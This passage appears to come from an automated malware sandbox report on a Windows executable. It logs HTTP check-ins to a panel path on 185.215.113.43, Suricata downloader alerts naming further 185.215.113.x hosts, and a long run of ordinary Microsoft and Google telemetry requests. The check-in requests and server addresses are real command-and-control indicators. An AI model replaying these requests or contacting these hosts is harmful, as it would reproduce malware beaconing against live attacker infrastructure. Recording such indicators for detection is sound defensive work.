r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49779 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:54620 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:54772 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:54788 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:54650 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C75CC60 PR_Recv,

0_2_6C75CC60

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
